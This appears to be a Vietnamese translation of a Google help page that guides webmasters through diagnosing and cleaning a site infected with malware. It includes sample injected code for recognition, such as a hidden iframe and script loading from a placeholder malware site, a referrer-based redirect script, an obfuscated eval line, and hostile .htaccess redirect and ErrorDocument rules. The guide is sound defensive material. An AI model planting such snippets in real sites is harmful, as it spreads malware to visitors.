Bị tấn công bằng phần mềm độc hại

Phần mềm độc hại là những phần mềm hoặc ứng dụng dành cho thiết bị di động có chủ đích gây hại cho người dùng, máy tính, thiết bị di động hay phần mềm chạy trên máy tính/thiết bị di động đó. Để biết thêm thông tin về phần mềm độc hại, hãy xem bài viết Phần mềm độc hại và phần mềm không mong muốn.

Nếu trang web của bạn chứa phần mềm độc hại, thì người dùng thường sẽ thấy cảnh báo "Trang web này có thể gây hại cho máy tính của bạn" trong kết quả tìm kiếm hoặc trên một trang xen kẽ do trình duyệt hiển thị khi người dùng cố gắng truy cập vào trang web của bạn, chẳng hạn như:

Trang xen kẽ đại diện cho phần mềm độc hại
Kết quả tìm kiếm có cảnh báo về phần mềm độc hại.

Bạn sẽ cần những thông tin sau:

  • Quyền truy cập của quản trị viên shell hoặc thiết bị đầu cuối vào máy chủ của trang web: web, cơ sở dữ liệu và tệp.
  • Có kiến thức về các lệnh shell hoặc dòng lệnh.
  • Khả năng chạy truy vấn SQL trên cơ sở dữ liệu.

Chuẩn bị

  • Đăng ký Search Console và xác minh quyền sở hữu trang web bị tấn công theo hướng dẫn tại đó. Search Console cung cấp một mẫu trang bị ảnh hưởng, giúp bạn tìm và khắc phục các vấn đề liên quan đến việc bị xâm nhập bằng phần mềm độc hại dễ dàng hơn nhiều. Ngoài ra, bạn sẽ được cảnh báo khi trang web của bạn bị phát hiện là bị ảnh hưởng bởi nhiều loại phần mềm độc hại hoặc các hành vi xâm nhập khác.
  • Xem trang chẩn đoán của tính năng Duyệt web an toàn của Google để xem thông tin công khai về việc một trang web có khả năng gây hại cho người dùng hay không. Bạn có thể xem trạng thái trang thông tin cho trang hoặc trang web của mình tại một URL tương tự như sau: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Ví dụ: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> có thể là một URL trang cụ thể (http://example.com/badpage) hoặc toàn bộ trang web của bạn (example.com).

  • Tránh sử dụng trình duyệt để xem các trang trên trang web của bạn. Vì phần mềm độc hại thường lây lan bằng cách khai thác lỗ hổng trình duyệt, nên máy tính của bạn có thể bị hỏng khi bạn mở một trang bị nhiễm phần mềm độc hại trong một trình duyệt. Trừ phi hướng dẫn chẩn đoán yêu cầu truy cập trực tiếp vào trang trong trình duyệt, hãy sử dụng cURL hoặc Wget để thực hiện các yêu cầu HTTP (ví dụ: để tìm nạp một trang).

    Các công cụ miễn phí này rất hữu ích trong việc chẩn đoán chuyển hướng và có thể linh hoạt đưa vào thông tin liên kết giới thiệu hoặc tác nhân người dùng. Việc thêm một trình giới thiệu hoặc tác nhân người dùng cụ thể sẽ hữu ích trong việc mô phỏng tin tặc, vì tin tặc có thể chỉ phân phát nội dung độc hại cho người dùng có tác nhân người dùng hoặc trình giới thiệu cụ thể để nhắm đến nhiều "người dùng thực" hơn và tránh bị chủ sở hữu trang web và trình quét phần mềm độc hại phát hiện.

`curl -v --referer "http://www.google.com" <your-url>`

Sau đây là ví dụ chỉ định cả tác nhân người dùng và liên kết giới thiệu:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Bạn nên tìm nạp một trang có và không có --referer "https://www.google.com", vì một số phần mềm độc hại chỉ được kích hoạt khi người dùng truy cập từ kết quả trên Google Tìm kiếm.

  • Tạo một tài liệu để ghi lại những phát hiện từ bước này. Cuối cùng, tài liệu này sẽ bao gồm (tối thiểu) tên và vị trí của từng tệp bị hỏng cũng như ghi chú về cách tệp đó bị nhiễm và sẽ là cơ sở để Dọn dẹp và duy trì trang web của bạn.

  • Hãy xem video ở đầu trang này để biết cách hoạt động của phần mềm độc hại và cách bạn có thể bảo vệ an toàn cho mình trong quá trình điều tra phần mềm độc hại.

Chẩn đoán

Xác định phần mềm độc hại nào đang ảnh hưởng đến trang web của bạn:

  1. Mở báo cáo Vấn đề bảo mật cho trang web của bạn trong Search Console. Mở rộng phần mô tả cảnh báo về phần mềm độc hại để xem danh sách ví dụ về các trang bị ảnh hưởng. Xin lưu ý rằng danh sách này chưa đầy đủ; bạn có thể không thấy trang mẫu cho tất cả các loại phần mềm độc hại trên trang web của mình.
  2. Kiểm tra các trang ví dụ của bạn để tìm các loại phần mềm độc hại sau.

Phần mềm độc hại về cấu hình máy chủ (lệnh chuyển hướng không mong muốn)

Một tin tặc đã xâm nhập trang web của bạn và đang chuyển hướng khách truy cập từ trang web của bạn đến trang web tấn công phần mềm độc hại của họ, có thể bằng cách sửa đổi(các) tệp cấu hình trong máy chủ của bạn. Tệp cấu hình máy chủ thường cho phép quản trị viên trang web xác định hành vi chuyển hướng URL cho các trang hoặc thư mục cụ thể trên một trang web. Ví dụ: trên máy chủ Apache, đây là tệp .htaccesshttpd.conf.

Chẩn đoán

Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật. Phản hồi từ một trang bị nhiễm "cấu hình máy chủ" có thể bao gồm các tiêu đề sau:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Xác định các tệp bị ảnh hưởng

Đăng nhập vào máy chủ của bạn thông qua phương thức truy cập shell hoặc đầu cuối (bạn có thể ngắt kết nối mạng cho trang web nếu muốn) và xem lại các tệp cấu hình máy chủ liên quan. Có thể có nhiều tệp cấu hình máy chủ bị xâm nhập trên trang web của bạn. Hãy kiểm tra các tệp này để tìm lệnh không mong muốn, chẳng hạn như lệnh chuyển hướng đến các trang web không xác định. Ví dụ: trong tệp .htaccess, bạn có thể thấy một lệnh chuyển hướng có dạng như sau:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Chèn SQL

Một tin tặc đã xâm nhập cơ sở dữ liệu của trang web. Ví dụ: tin tặc có thể đã chèn mã độc hại bằng cách lập trình vào mọi bản ghi của bảng cơ sở dữ liệu, để khi máy chủ tải một trang yêu cầu thông tin từ cơ sở dữ liệu, thì mã độc hại sẽ được nhúng vào nội dung của trang và có khả năng gây hại cho khách truy cập trang web.

Chẩn đoán

  1. Chạy một số truy vấn về các URL bị ảnh hưởng trong dòng lệnh và kiểm tra phản hồi xem có các từ thuộc hành vi tấn công SQL như "iframe" hoặc "eval" không.
  2. Đăng nhập vào máy chủ cơ sở dữ liệu hoặc xem cơ sở dữ liệu của bạn thông qua một công cụ như phpMyAdmin. Nếu bạn sử dụng Wget hoặc cURL, hãy cố gắng đối chiếu thiệt hại phát hiện thấy trong mã nguồn của trang thông qua Wget hoặc cURL với các mục cơ sở dữ liệu thực tế. Ví dụ: nếu nhận thấy các trang của mình có một iframe nguy hiểm, bạn có thể thực hiện truy vấn SQL để tìm mã iframe. Ví dụ:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. Bạn cũng có thể muốn kiểm tra nhật ký cơ sở dữ liệu và các tệp lỗi trên máy chủ để xem có hoạt động bất thường hay không, chẳng hạn như các lệnh SQL không mong muốn có vẻ bất thường đối với người dùng thường xuyên hoặc lỗi.

Khắc phục vấn đề

Cập nhật từng bản ghi cơ sở dữ liệu bị nhiễm hoặc khôi phục bản sao lưu cơ sở dữ liệu gần nhất mà bạn biết.

Đưa vào mã

Các trang trên trang web của bạn đã bị sửa đổi để bao gồm mã có hại, chẳng hạn như iframe đến một trang web tấn công phần mềm độc hại.

Chẩn đoán

Truy cập một số URL mẫu có trong báo cáo Vấn đề bảo mật bằng cURL hoặc wGet và kiểm tra xem có mã đáng ngờ hay không. Mã được chèn có thể có nhiều loại và khó tìm thấy. Có thể bạn nên tìm kiếm các từ như "iframe" để tìm mã iframe. Các từ khóa hữu ích khác là "script", "eval" và "unescape". Ví dụ: để tìm kiếm "iframe" trong tất cả các tệp trên các hệ thống dựa trên Unix, hãy thực hiện lệnh sau:

$grep -irn "iframe" ./ | less</pre>

Sau đây là một số mẫu phần mềm độc hại phổ biến mà bạn cần tìm.

Một iframe tải một trang web độc hại:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript hoặc một ngôn ngữ tập lệnh khác gọi và chạy các tập lệnh từ một trang web tấn công:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Tập lệnh chuyển hướng trình duyệt đến một trang web tấn công:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Mã độc hại bị xáo trộn để tránh bị phát hiện:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Các tệp đối tượng được chia sẻ được thiết kế để ghi ngẫu nhiên mã có hại vào các tập lệnh vô hại:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Mẫu lỗi độc hại

Mẫu được sử dụng cho các thông báo lỗi, chẳng hạn như 404 File not Found (Không tìm thấy tệp), được định cấu hình để phát tán phần mềm độc hại. Bằng cách này, kẻ tấn công có thể xâm nhập các URL thậm chí không tồn tại trên trang web của bạn.

Chẩn đoán

Yêu cầu một trang không tồn tại trên trang web của bạn hoặc một trang có loại lỗi khác và kiểm tra phản hồi để xem liệu trang có đến từ một trang web khác hoặc có chứa phần mềm độc hại hay không.

Khắc phục vấn đề

Đăng nhập vào máy chủ web của bạn và tìm kiếm các tệp cấu hình máy chủ để tìm lệnh về trang lỗi. Ví dụ: mẫu lỗi cho máy chủ web Apache có thể được khai báo trong tệp .htaccess. Dưới đây là ví dụ về một mục trong tệp .htaccess có chức năng truy xuất các trang lỗi 404 từ một trang web có hại:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Khi đã sẵn sàng dọn dẹp trang web, hãy thay thế(các) tệp .htaccess bằng một bản sao lưu hợp lệ đã biết hoặc xoá các lệnh ErrorDocument không mong muốn trên(các) tệp .htaccess hiện có. Hãy nhớ xoá các tệp lỗi thực tế nếu chúng tồn tại trên trang web của bạn. Cuối cùng, hãy khởi động lại máy chủ web để đảm bảo tất cả các thay đổi có hiệu lực.

Tài nguyên tải từ một trang web bị xâm phạm hoặc độc hại {compromised-resources}

Trang web của bạn sử dụng nội dung hoặc tài nguyên từ một trang web được biết là có chứa nội dung độc hại. Đó có thể là tệp JavaScript, hình ảnh hoặc các tệp khác. Do đó, trang web của bạn sẽ bị gắn cờ do phần mềm độc hại được tải từ trang web khác đó.

Chẩn đoán

Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật.

Khắc phục vấn đề

  1. Xác nhận vấn đề bằng cách duyệt đến một vài URL mẫu được liệt kê trong báo cáo Vấn đề bảo mật trong Search Console. Bạn sẽ thấy cảnh báo của trình duyệt.
  2. Cảnh báo trong trình duyệt sẽ cho bạn biết miền chứa nội dung có vấn đề. Hãy xóa tất cả các mục tham chiếu đến trang web bị gắn cờ trong cảnh báo của trình duyệt. Nếu nội dung từ một trang bị gắn cờ được đưa vào mà bạn không hề hay biết, thì vấn đề sẽ nghiêm trọng hơn. Rất có thể trang web của bạn đã bị xâm nhập và bạn nên tiếp tục kiểm tra trang web để tìm các lỗ hổng và hành vi xâm nhập khác.
  3. Nếu bạn cố ý đưa nội dung từ một trang web hợp pháp bị gắn cờ và muốn đưa lại nội dung đó sau khi trang web bị gắn cờ được dọn dẹp, bạn có thể theo dõi trạng thái của trang web bị gắn cờ bằng cách sử dụng trang chẩn đoán của tính năng Tìm kiếm an toàn của Google cho trang web đó (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Chủ sở hữu của các trang web hợp pháp thường nhanh chóng dọn dẹp trang web của họ.

Điều tra thêm

Tiếp theo, hãy kiểm tra xem có tệp độc hại hoặc thay đổi nào khác trên hệ thống của bạn hay không. Tin tặc có thể đã sửa đổi các trang hiện có hoặc bản ghi cơ sở dữ liệu, tạo các trang rác hoàn toàn mới, viết các hàm hiển thị nội dung rác trên các trang sạch hoặc để lại "cửa sau" cho phép tin tặc xâm nhập lại trang web của bạn hoặc chèn lại mã độc hại mà bạn đã xoá.

Nếu trang web của bạn đang hoạt động, hãy cân nhắc việc tạm thời tắt trang web để chúng tôi điều tra.

Nếu bạn có một bản sao lưu hợp lệ của trang web, hãy xác định những tệp đã được tạo hoặc sửa đổi kể từ bản sao lưu đó và điều tra các tệp đó. Trên các hệ thống dựa trên Unix, bạn có thể sử dụng lệnh như sau để tìm các tệp mới:

diff -qr <current-directory> <backup-directory>

Ví dụ:

diff -qr www/ backups/full-backup-20120124/

cũng:

md5sum <current-page> <backup-page>

Ví dụ:

md5sum www/page.html backups/full-backup-20120124/page.html

Kiểm tra nhật ký máy chủ, quyền truy cập và lỗi để tìm mọi hoạt động đáng ngờ, chẳng hạn như các lần đăng nhập không thành công, nhật ký lệnh (đặc biệt là với quyền truy cập gốc) và việc tạo tài khoản người dùng không xác định. Xin lưu ý rằng tin tặc có thể đã thay đổi các nhật ký này cho mục đích riêng của chúng. Một số ví dụ được trình bày trong video về cách Xác định lỗ hổng.

Kiểm tra các tệp cấu hình để tìm lệnh chuyển hướng. Tệp cấu hình của bạn thường được đặt tên là .htaccesshttpd.conf. Tin tặc thường tạo lệnh chuyển hướng có điều kiện dựa trên tác nhân người dùng, thời gian trong ngày hoặc đường liên kết giới thiệu. Nếu cần cập nhật tệp cấu hình, bạn có thể phải khởi động lại máy chủ để các thay đổi có hiệu lực.

Kiểm tra xem có quyền quá dễ dàng đối với thư mục và tệp hay không. Tin tặc can thiệp vào các quyền vì nếu chủ sở hữu trang web không phát hiện được các quyền nới lỏng, thì tin tặc sẽ có cách để xâm nhập lại trang web. Các tệp lớn hơn 644 (rw-r--r--) và thư mục lớn hơn 755 (rwxr-xr-x) có thể gây ra vấn đề về bảo mật. Hãy đảm bảo rằng bất kỳ quyền nào rộng rãi hơn đều thật sự cần thiết. Trên các hệ thống dựa trên Unix, hãy thử:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

và:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Nếu bạn có cơ sở dữ liệu, hãy kiểm tra từng bản ghi bằng một công cụ như phpMyAdmin.